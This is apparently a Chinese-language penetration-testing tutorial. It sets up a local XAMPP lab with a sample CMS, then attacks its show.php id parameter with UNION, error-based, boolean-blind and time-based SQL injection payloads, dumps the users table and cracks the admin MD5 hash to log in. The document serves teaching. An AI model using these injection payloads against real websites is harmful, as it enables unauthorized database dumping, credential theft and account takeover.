滲透測試實戰技術分享:CMS 注入得到管理員賬密

漏洞說明:

SQL注入就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。

利用此漏洞能夠看到數據庫所有表數據,如用戶數據表可獲取用戶名、密碼、郵箱等數據,進而通過獲取到的郵箱與密碼,可碰撞登陸郵箱獲取交流郵件等。


環境說明

滲透測試實戰技術分享:CMS 注入得到管理員賬密

相關工具


滲透測試實戰技術分享:CMS 注入得到管理員賬密

復現過程:

第一步:搭建實驗環境。

1、準備一臺windows2008虛擬機,並將其設置為橋接狀態,並查看ip地址。

滲透測試實戰技術分享:CMS 注入得到管理員賬密

我所實驗的內網網段為10.10.20.0/24

滲透測試實戰技術分享:CMS 注入得到管理員賬密

2、將我們的xampp工具複製到08虛擬機中,並且雙擊安裝。

安裝過程一直點擊next即可,具體操作可以查看視頻步驟,安裝完成後點擊finish。

滲透測試實戰技術分享:CMS 注入得到管理員賬密

語言直接點save即可。

滲透測試實戰技術分享:CMS 注入得到管理員賬密

3、出現如下界面,需要做點優化。

滲透測試實戰技術分享:CMS 注入得到管理員賬密

點擊最左側service下方的前兩個X號,出現提示,點擊yes,之後圖標修改為√號。

之後點擊中間的Actions那一列下的Apache和MySQL按鈕,啟動服務,然後關閉。

滲透測試實戰技術分享:CMS 注入得到管理員賬密

滲透測試實戰技術分享:CMS 注入得到管理員賬密

4、用真實機的瀏覽器,訪問2008虛擬機的ip地址,出現以下界面,則說明xampp安裝成功,並且已經開啟了apache服務

滲透測試實戰技術分享:CMS 注入得到管理員賬密

打開windows2008虛擬機的C盤,將多餘的文件刪除即可。

滲透測試實戰技術分享:CMS 注入得到管理員賬密

然後進入到xampp文件夾,找到htdocs文件夾點擊進入,在裡面新建一個文件夾取名為bak,並且將htdocs原有的文件拖到bak文件夾中。

滲透測試實戰技術分享:CMS 注入得到管理員賬密

滲透測試實戰技術分享:CMS 注入得到管理員賬密

在真實機中的瀏覽器中刷新頁面,出現Object not found!將/dashboard/去掉,便在根目錄下有一個bak的文件夾

滲透測試實戰技術分享:CMS 注入得到管理員賬密

滲透測試實戰技術分享:CMS 注入得到管理員賬密

5、打開C盤根目錄下的xampp文件夾,找到名為mysql的文件夾,進入文件夾後,有一個名為bin的文件夾,雙擊進入,將文件的後綴名顯示出來可以看到都是.exe的文件

滲透測試實戰技術分享:CMS 注入得到管理員賬密

將此文件夾所在的路徑複製下來即:C:\\\\xampp\\mysql\\bin

6、修改環境變量,使mysql命令可以在cmd的命令中運行。

具體操作為:

右鍵計算機à屬性à高級系統設置à環境變量à找到下方的系統變量Pathà選定後,點擊編輯à點擊右箭頭,在最後添加;+剛才複製的路徑。如:(; C:\\\\xampp\\mysql\\bin)

滲透測試實戰技術分享:CMS 注入得到管理員賬密

修改完環境變量後,重啟cmd命令,之後輸入mysql -uroot。如果出現如下界面,說明環境變量修改成功。就可以輸入數據庫的命令使用。

滲透測試實戰技術分享:CMS 注入得到管理員賬密

7、將準備好的cms壓縮包,複製到windows2008的C盤下的htdocs目錄下。

先將壓縮包中的第一個文件夾複製過去,然後打開cms文件夾,再將剩下的兩個文件複製到cms文件夾下。

滲透測試實戰技術分享:CMS 注入得到管理員賬密

滲透測試實戰技術分享:CMS 注入得到管理員賬密

8、將install.sql導入到數據庫中。

show databases; 查看都有哪些數據庫

create database cms; 創建一個名為cms的數據庫

use cms; 使用cms數據庫

source C:\\\\\\xampp\\\\htdocs\\\\cms\\\\install.sql; 將install.sql文件導入到數據庫

show tables; 查看cms數據庫中的表名

滲透測試實戰技術分享:CMS 注入得到管理員賬密

滲透測試實戰技術分享:CMS 注入得到管理員賬密

滲透測試實戰技術分享:CMS 注入得到管理員賬密

此時,我們刷新真實機的瀏覽器的頁面,在bak文件夾下面有個cms文件夾,雙擊打開看到一個文章管理系統界面,說明我們的實驗環境搭建完成了。

滲透測試實戰技術分享:CMS 注入得到管理員賬密

滲透測試實戰技術分享:CMS 注入得到管理員賬密

第二步:用SQL注入的4中注入手法進行漏洞驗證,最終目的能獲取管理員的賬號密碼,並且能成功登陸管理員後臺。

1、 聯合查詢

http://10.10.20.60/cms/show.php?id=33’ 出現報錯

滲透測試實戰技術分享:CMS 注入得到管理員賬密

http://10.10.20.60/cms/show.php?id=33 and 1=1 頁面正常顯示

http://10.10.20.60/cms/show.php?id=33 and 1=2 頁面不正常顯示

滲透測試實戰技術分享:CMS 注入得到管理員賬密

滲透測試實戰技術分享:CMS 注入得到管理員賬密

說明該網站存在SQL注入漏洞。

http://10.10.20.60/cms/show.php?id=33 order by 15 頁面正常顯示

http://10.10.20.60/cms/show.php?id=33 order by 16 頁面報錯

滲透測試實戰技術分享:CMS 注入得到管理員賬密

http://10.10.20.60/cms/show.php?id=-33 +UNION+ALL+SELECT+ 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

發現頁面有回顯:3和11

滲透測試實戰技術分享:CMS 注入得到管理員賬密

http://10.10.20.60/cms/show.php?id=-33 +UNION+ALL+SELECT+ 1,2,database(),4,5,6,7,8,9,10,version(),12,13,14,15 爆數據庫名和查看數據庫版本

滲透測試實戰技術分享:CMS 注入得到管理員賬密

http://10.10.20.60/cms/show.php?id=-33

+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,hex(group_concat (table_name)),12,13,14,15 from information_schema.tables where table_schema=database() 爆數據庫中的所有表名,出現一段數字,複製下來進行解碼

滲透測試實戰技術分享:CMS 注入得到管理員賬密

新建一個窗口,中間位置有個0xHEX,點擊左邊的箭頭為解碼,將數字複製到解碼欄中。

滲透測試實戰技術分享:CMS 注入得到管理員賬密

然後,在空白界面出現解碼後的數據庫中的所有表名。

滲透測試實戰技術分享:CMS 注入得到管理員賬密

cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users

爆表名為cms_users中的所有字段名。

http://10.10.20.60/cms/show.php?id=-33 +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users'

滲透測試實戰技術分享:CMS 注入得到管理員賬密

同樣出現一串數字,步驟和上一步一樣,進行復制解碼。

得到字段名:

userid,username,password

滲透測試實戰技術分享:CMS 注入得到管理員賬密

http://10.10.20.60/cms/show.php?id=-33 +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15 from cms_users 脫庫

滲透測試實戰技術分享:CMS 注入得到管理員賬密

到此,我們得到了用戶名為admin,密碼使用的為MD5加密值,我們百度搜索MD5在線解密即可。

滲透測試實戰技術分享:CMS 注入得到管理員賬密

至此,我們得到用戶名:admin,密碼:123456

嘗試登錄後臺管理賬戶,看是否能登錄成功

滲透測試實戰技術分享:CMS 注入得到管理員賬密

滲透測試實戰技術分享:CMS 注入得到管理員賬密

成功登錄到了後臺管理賬戶。

2、 報錯注入;

http://10.10.20.60/cms/show.php?id=33’

當我們添加一個’時,會有報錯提示,此時我們可以考慮報錯注入。

公式:(死記住就可)

(1) http://10.10.20.60/cms/show.php?id=-33 and extractvalue(1,concat('^',(想要執行的SQL語句),'^'))

(2) http://10.10.20.60/cms/show.php?id=-33 and updatexml(1,concat('^',(想要執行的SQL語句),'^'),1)


http://10.10.20.60/cms/show.php?id=-33 and extractvalue(1,concat('^',(select database()),'^'))


http://10.10.20.60/cms/show.php?id=-33 and extractvalue(1,concat('^',(select version()),'^'))

滲透測試實戰技術分享:CMS 注入得到管理員賬密

滲透測試實戰技術分享:CMS 注入得到管理員賬密

http://10.10.20.60/cms/show.php?id=-33 and updatexml(1,concat('^',(select version()),'^'),1)

滲透測試實戰技術分享:CMS 注入得到管理員賬密

http://10.10.20.60/cms/show.php?id=-33 and updatexml(1,concat('^',(select database()),'^'),1)

滲透測試實戰技術分享:CMS 注入得到管理員賬密

3、 布爾盲注;

通過SQL語句驗證數據庫的名字長度為幾位,多嘗試,最長26位

http://10.10.20.60/cms/show.php?id=33 and length(database())>3 頁面不正常顯示

http://10.10.20.60/cms/show.php?id=33 and length(database())=3 頁面正常顯示

http://10.10.20.60/cms/show.php?id=33 and length(database())<3 頁面不正常顯示

滲透測試實戰技術分享:CMS 注入得到管理員賬密

滲透測試實戰技術分享:CMS 注入得到管理員賬密

由此我們可以確定數據庫的名字位數位3位。

下面我們根據ascii碼錶,來爆破數據庫名的第一個單詞

http://10.10.20.60/cms/show.php?id=33 and ascii(substr(database(),1,1))<99 頁面不正常顯示

http://10.10.20.60/cms/show.php?id=33 and ascii(substr(database(),1,1))=99 頁面正常顯示

http://10.10.20.60/cms/show.php?id=33 and ascii(substr(database(),1,1))>99 頁面不正常顯示

滲透測試實戰技術分享:CMS 注入得到管理員賬密

滲透測試實戰技術分享:CMS 注入得到管理員賬密

等於99時,頁面正常,說明數據庫的第一字母的ascii碼值為99

滲透測試實戰技術分享:CMS 注入得到管理員賬密

通過查看ascii碼錶,可以看到99對應的為小寫字母c

滲透測試實戰技術分享:CMS 注入得到管理員賬密

依此類推,利用這種方法即可爆出數據庫名,但工作量較大,建議寫個python腳本跑一下,可以提高效率。

4、 時間盲注;

http://10.10.20.60/cms/show.php?id=33 and sleep(5)

使瀏覽器沉睡5s,在執行命令

可以看到上方瀏覽器在轉了5s之後,才執行完成,通過F12,網絡時間線可以看到為5s左右。

滲透測試實戰技術分享:CMS 注入得到管理員賬密

http://10.10.20.60/cms/show.php?id=33 and if(length(database())=3,sleep(5),0)

當數據庫的名字長度為3位時,瀏覽器沉睡5s在執行命令。

滲透測試實戰技術分享:CMS 注入得到管理員賬密

數據庫的名字長度不為3位數時,瀏覽器直接執行命令。

滲透測試實戰技術分享:CMS 注入得到管理員賬密

在確定了數據庫的名字位數後,下一步,我們和布爾盲注確定數據庫第一位字母的思路相同。

http://10.10.20.60/cms/show.php?id=33 and if(ord(substr(database(),1,1))=99,sleep(5),0)

(當數據庫的第一個字母的ascii碼值為99的時候,瀏覽器沉睡5s在執行命令;否則,瀏覽器將直接執行命令)

滲透測試實戰技術分享:CMS 注入得到管理員賬密

當數據庫第一個字母的ascii碼值不是99時,為以下情況:

滲透測試實戰技術分享:CMS 注入得到管理員賬密

滲透測試實戰技術分享:CMS 注入得到管理員賬密

由此,我們可以確定,數據庫名字的第一個字母的ascii碼值為99,通過上網查詢ascii碼對照表,我們知道了acsii碼為99的對應的為小寫字母c。

依此類推,我們用相同的辦法得到數據庫的第二位字母、第三位字母…

到此,我們對此網站進行的SQL注入四大手法的漏洞復現過程基本完成。

注:

以上實驗環境及實驗過程,在實現漏洞復現的過程中沒有發現任何問題,如依據本文檔內容進行復現過程中發現任何問題,請自行檢查自己的實驗環境及實驗步驟是否出現問題!!!


分享到:


相關文章: